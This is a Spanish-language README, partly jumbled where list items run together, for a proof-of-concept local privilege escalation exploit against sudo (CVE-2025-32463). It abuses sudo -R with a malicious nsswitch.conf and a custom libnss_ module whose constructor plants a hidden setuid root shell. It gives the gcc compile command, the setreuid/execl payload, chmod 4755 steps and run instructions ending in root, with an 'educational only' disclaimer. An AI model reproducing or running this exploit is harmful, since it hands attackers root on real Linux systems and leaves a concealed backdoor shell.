
Sudo Local Privilege Escalation CVE-2025-32463 (Mejor para casos donde el shell no es estable para generar un nuevo shell root)
sudo -R NSS InjectionEste PoC demuestra escalada de privilegios local en sistemas Linux mediante el abuso de la opción sudo -R en conjunto con un módulo NSS personalizado. Apunta a la vulnerabilidad CVE-2025-32463, que se origina en el manejo inseguro de nsswitch.conf y las bibliotecas compartidas NSS bajo un entorno chroot.
Este PoC, sudo2root, adapta la técnica original compilando un módulo NSS personalizado que aprovecha el atributo constructor para escalar privilegios y depositar un shell setuid root en /usr/local/bin/.suidshell.
-R chroot por parte de sudo.sudo puede ejecutar código arbitrario como root, rompiendo el aislamiento de contenedores y usuarios.sudo -R cambia el directorio raíz pero no elimina privilegios ni sanitiza el entorno.nsswitch.conf malicioso y un objeto compartido libnss_* personalizado.sudo para que cargue la biblioteca NSS controlada por el atacante.__attribute__((constructor))), deposita un shell setuid root y escala privilegios.sudo2root.c – Módulo NSS malicioso:
setreuid(0,0) y setregid(0,0)gccScript Bash de Explotación:
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Shell Setuid:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
Después de que el exploit se complete, ejecute:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Main exploit script
libnss_/sudo2root1337.so.2 # Malicious NSS module (compiled)
sudo2root/etc/nsswitch.conf # Custom nsswitch pointing to fake module
/usr/local/bin/.suidshell # Final setuid root shell
sudo -R:-R <dir> de sudo cambia el directorio raíz antes de ejecutar un comando.nsswitch.conf personalizado con passwd: /libnss_<name>.so, sudo lo carga antes de eliminar privilegios.El objeto compartido se compila con:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
El constructor se ejecuta antes de cualquier lógica main().
Crea y compila un shell suid con:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Establece permisos mediante:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusEste código se proporciona solo con fines educativos. El uso no autorizado de este código en sistemas que no posea o para los cuales no tenga permiso explícito para realizar pruebas es ilegal y poco ético. Siempre obtenga la autorización adecuada antes de realizar pruebas de seguridad.